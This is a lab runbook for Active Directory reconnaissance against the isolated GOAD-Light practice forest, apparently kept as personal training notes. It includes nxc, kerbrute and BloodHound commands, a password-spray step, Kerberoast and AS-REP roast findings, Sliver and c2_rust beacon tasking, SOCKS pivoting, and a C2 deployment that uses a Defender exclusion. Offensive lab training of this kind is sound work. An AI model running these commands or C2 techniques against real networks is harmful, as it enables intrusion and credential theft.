Windows AD Recon — GOAD-Light Lab

Summary: Practice Windows/AD recon (OW64 Action Item 5) against the live GOAD-Light forest on the drone-bench host, using c2_rust or Sliver as the operator C2 layer when you need beacon-mediated execution or SOCKS pivoting.

Table of Contents

1. Lab topology
2. Two networks, two jobs
3. Before you start
4. Recon phases mapped to GOAD-Light
5. Operator track A — c2_rust
6. Operator track B — Sliver
7. BloodHound and graph collection
8. Detection and blue-team validation
9. Pass criteria
10. Related notes

1. Lab topology

graph TB
    subgraph operator["Operator — MiniMac 192.168.50.127"]
        OP[c2_rust controller / Sliver client]
    end

    subgraph c2lab["LAN C2 lab — Defender RT on"]
        WIN[Windows victim 192.168.50.252]
        KALI[Kali / Linux beacon 192.168.50.30]
    end

    subgraph goadhost["Drone bench — 192.168.50.68"]
        VBOX[VirtualBox host-only vboxnet0]
        subgraph forest["GOAD-Light — 192.168.56.0/24"]
            DC01[DC01 .10 — sevenkingdoms.local]
            DC02[DC02 .11 — north.sevenkingdoms.local]
            SRV02[SRV02 .22 — IIS + MSSQL]
        end
        VBOX --> DC01
        VBOX --> DC02
        VBOX --> SRV02
    end

    OP -->|SSH harness / C2| WIN
    OP -->|SSH| goadhost
    OP -.->|direct enum from .68| forest
    WIN -.->|only if routed or pivoted| forest

    style forest fill:#2d5016,stroke:#333
    style operator fill:#ff6600,stroke:#333

Forest shape (GOAD-Light): parent sevenkingdoms.local + child north.sevenkingdoms.local. No essos.local (that is full GOAD on Node 2). Trusts, GPOs, and misconfigurations are provisioned by GOAD Ansible — use the inventory for exact hostnames and lab users.

2. Two networks, two jobs

Do not conflate the LAN C2 lab with the GOAD forest.

Default recon path: start GOAD on .68, enumerate from the Linux attack box on that host. Add c2_rust or Sliver when the scenario requires beacon-only tooling, OPSEC tradeoffs, or C2 SOCKS pivoting.

The Windows victim at .252 is not domain-joined to GOAD. Reaching .56.0/24 from .252 requires an explicit route or pivot — treat that as a later “implant on domain member” exercise, not day-one AD enum.

3. Before you start

Power on GOAD-Light (isolated)

ssh tester@192.168.50.68 goad-light-status
ssh -t tester@192.168.50.68 goad-light-start   # boots DC01 → DC02 → SRV02; verifies no NAT

Use the wrappers — not vagrant up (can re-enable NAT). Full runbook: /home/tester/labs/GOAD-LOCAL-RUNBOOK.md on .68.

Load credentials and inventory

ssh tester@192.168.50.68 'ls ~/labs/GOAD/workspace/*/inventory* 2>/dev/null; ls ~/labs/GOAD/ad/GOAD-Light/data/ 2>/dev/null'

GOAD ships domain users, groups, and vulnerable ACLs. Do not paste production passwords into notes — reference the inventory on the GOAD host.

Sanity checks from the GOAD host

ssh tester@192.168.50.68
ping -c1 192.168.56.10
nxc smb 192.168.56.0/24
dig @192.168.56.10 sevenkingdoms.local SOA +short

Power off when done

ssh -t tester@192.168.50.68 goad-light-stop

4. Recon phases mapped to GOAD-Light

This lab implements OW64 P2 Action Item 5 with concrete targets. Cross-walk with the scenario series:

Phase 1 — No credentials (network position on .68)

Live run (2026-08-12): bash c2_rust/tools/platform_lab/test_goad_phase1_enum.sh — CLI PASS; c2_rust Linux beacon SSH-hop 5/6 PASS (.68 SSH flapped on last SRV02 check; CLI confirmed HTTP 80 + MSSQL 1433 open).

# SMB signing, null session behavior, OS build
nxc smb 192.168.56.10 192.168.56.11 192.168.56.22

# LDAP anonymous / guest (lab often allows more than production)
nxc ldap 192.168.56.10 192.168.56.11

# Kerberos user enum (no password) — expect lab-specific results
kerbrute userenum -d sevenkingdoms.local --dc 192.168.56.10 /usr/share/seclists/Usernames/xato-net-10-percent-usernames.txt

# DNS — domain controllers and SRV records
dig @192.168.56.10 _ldap._tcp.dc._msdcs.sevenkingdoms.local SRV +short
dig @192.168.56.10 _gc._tcp.sevenkingdoms.local SRV +short

Pass: You can name both domains, list DC IPs, and identify at least one reachable service on SRV02 (HTTP 80/443, MSSQL 1433).

Phase 2 — Authenticated enumeration

Live run (2026-08-12): bash c2_rust/tools/platform_lab/test_goad_phase2_enum.sh — CLI PASS (ldapsearch); c2_rust Linux beacon SSH-hop PASS (users/groups/computers child + parent via trust). Log: results/goad-phase2-cli.log.

Use a lab user from GOAD inventory (example pattern only):

export DC=192.168.56.10
export DOMAIN=sevenkingdoms.local
export USER='<from-inventory>'
export PASS='<from-inventory>'

# Password spray / verify (single user first)
nxc smb $DC -u "$USER" -p "$PASS"

# LDAP — users, groups, computers
nxc ldap $DC -u "$USER" -p "$PASS" --users
nxc ldap $DC -u "$USER" -p "$PASS" --groups
nxc ldap $DC -u "$USER" -p "$PASS" --computers

# Shares on member server
nxc smb 192.168.56.22 -u "$USER" -p "$PASS" --shares

Child domain — repeat against 192.168.56.11 and north.sevenkingdoms.local:

nxc ldap 192.168.56.11 -u "$USER" -p "$PASS" -d north.sevenkingdoms.local --users

Pass: Valid creds on at least one domain; user/computer counts documented; child vs parent distinguished.

Phase 3 — Deep AD (targets for BloodHound / PowerShell)

On-DC quick checks (WinRM/RDP to lab DC — use inventory admin only when the exercise allows):

Get-ADTrust -Filter *
Get-ADGroupMember "Domain Admins"
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Live run (2026-08-12): Phase 3 — Kerberoast PASS via Kali SOCKS (sansa.stark, jon.snow, sql_svc). c2_rust LDAP hop PASS. BloodHound enum PASS on .68 (17 users, 51 groups); zip retrieve PARTIAL when .68 SSH flaps. Harness: test_goad_phase3_deep.sh, run_goad_bloodhound.sh. Full walkthrough: c2_rust/docs/GOAD_C2_LAB_WALKTHROUGH.md.

Finding	Result
AS-REP roastable	brandon.stark (LDAP DONT_REQ_PREAUTH / UAC 4260352)
Kerberoast targets	sansa.stark, jon.snow, sql_svc — hashes in results/goad-bloodhound/bloodhound.log
Parent trust	sevenkingdoms.local (child → parent)
c2_rust hop	LDAP AS-REP + jon SPN + trusts PASS
BloodHound zip	Re-run run_goad_bloodhound.sh when .68 SSH stable; manual SCP in walkthrough §6

5. Operator track A — c2_rust

Use when practicing first-party C2 and platform-lab harnesses on the LAN, then extending to domain-joined implants when available.

Reference: 7.12 Rust Beacon Development, windows-c2-lab, repo c2_fam/c2_rust/tools/platform_lab/, GOAD_C2_LAB_WALKTHROUGH.md (bash + c2_rust + Sliver runbook).

Reliable path (exclusion deploy — .252)

cd ~/code/c2_fam/c2_rust
bash tools/platform_lab/test_reliable_path.sh

Validates controller on .127, Windows deploy + shell, Linux beacon on .30.

Run recon commands via beacon shell

From the controller UI/API after deploy:

whoami /all
ipconfig /all
nltest /dclist:sevenkingdoms.local    # only if DNS/routing to .56 exists

For pure AD recon, prefer running nxc / BloodHound collectors from .68 until a GOAD member implant exists.

c2_rust pattern (validated): Linux beacon on .30 → shell task → sshpass ssh tester@192.168.50.68 → ldapsearch / dig against .56.0/24. Harness: tools/platform_lab/test_goad_phase1_enum.sh.

Future: beacon on GOAD member

1. Stage implant on 192.168.56.22 (or user workstation when added to GOAD).
2. Task LDAP/Recon via shell or BOF (HOWTO_CREATE_BOF in repo).
3. Optional SOCKS pivot — same OPSEC model as Sliver/Cobalt SOCKS section, adapted to c2_rust pivot module when enabled.

Lab honesty (2026-08-12): thin-stage / post-invoke paths on .252 with Defender RT on may not sustain a living shell after stage-2 handoff — use exclusion deploy (C2_WIN_DEFENDER_EXCLUSION=1) for reliable tasking. See test_defender_pulse_stage2_post_invoke.sh results in windows-c2-lab.

6. Operator track B — Sliver

Use when practicing mature Windows C2 features: in-memory .NET, execute-assembly, socks5, lateral movement.

Reference: 7.10 Sliver C2 Windows, 7.9 Sliver Beacon Creation OPSEC.

Minimal lab wiring

Recon from an interactive session

# Sliver console (examples — adjust session name)
sliver > use <session>
sliver > getuid
sliver > execute -o whoami /all
sliver > execute-assembly /path/to/Seatbelt.exe -group=system
sliver > socks5 start

Collect BloodHound from Windows:

# On attacker, after socks5 + proxychains to DC LDAP
proxychains4 bloodhound-ce-python -u 'USER' -p 'PASS' -d sevenkingdoms.local -ns 192.168.56.10 -c All

Tradeoff: Sliver gives faster in-memory tooling; c2_rust gives custom protocol/evasion iteration. For OW64 Action Item 5, either framework is acceptable if you document commands run and artifacts produced.

7. BloodHound and graph collection

# From GOAD host (.68) — preferred for first collection
sudo apt install bloodhound-ce-python  # or use Docker CE stack

bloodhound-ce-python \
  -u 'USER' -p 'PASS' \
  -d sevenkingdoms.local \
  -ns 192.168.56.10 \
  -c All,LoggedOn,Session,GPOLocalGroup \
  --zip

# Child domain (second zip)
bloodhound-ce-python \
  -u 'USER' -p 'PASS' \
  -d north.sevenkingdoms.local \
  -ns 192.168.56.11 \
  -c All \
  --zip

Import zips into BloodHound CE. Document:

• Shortest path to Domain Admin (parent and child)
• At least one ACL edge GOAD intentionally seeded
• One Kerberoastable or AS-REP roastable account if present

8. Detection and blue-team validation

Treat every step as a defender exercise (Recon/7. Blue_Team_Detection, Recon/9. Detection_EventIDs_Splunk):

Lab rule: one spray target at a time; snapshot clean-isolated-2026-08-12 on guests before destructive changes.

9. Pass criteria

10. Related notes

Recon series

• 1. External Recon
• 2. Internal (No Creds)
• 3. Authenticated Pivot
• 4. C2 & SOCKS

Pillar & infra

• 2. Windows AD — OW64 grid; Action Item 5
• 2.1 Windows-ad-attacks — post-recon exploitation
• minimac — §14 GOAD-Light, §15 Windows C2 lab
• windows-c2-lab — harnesses, Defender matrix
• 7.10 Sliver C2 Windows
• 7.12 Rust Beacon Development

GOAD provisioning (other nodes)

• Infra/docs/NODE3-SCRIPTS-QUICKSTART — Proxmox GOAD-Light on 192.168.60.0/24 (travel pod); same domain names, different IP plan

Last validated against live lab: 2026-08-12 (GOAD-Light on 192.168.50.68, c2_rust platform lab on 192.168.50.127 / .252).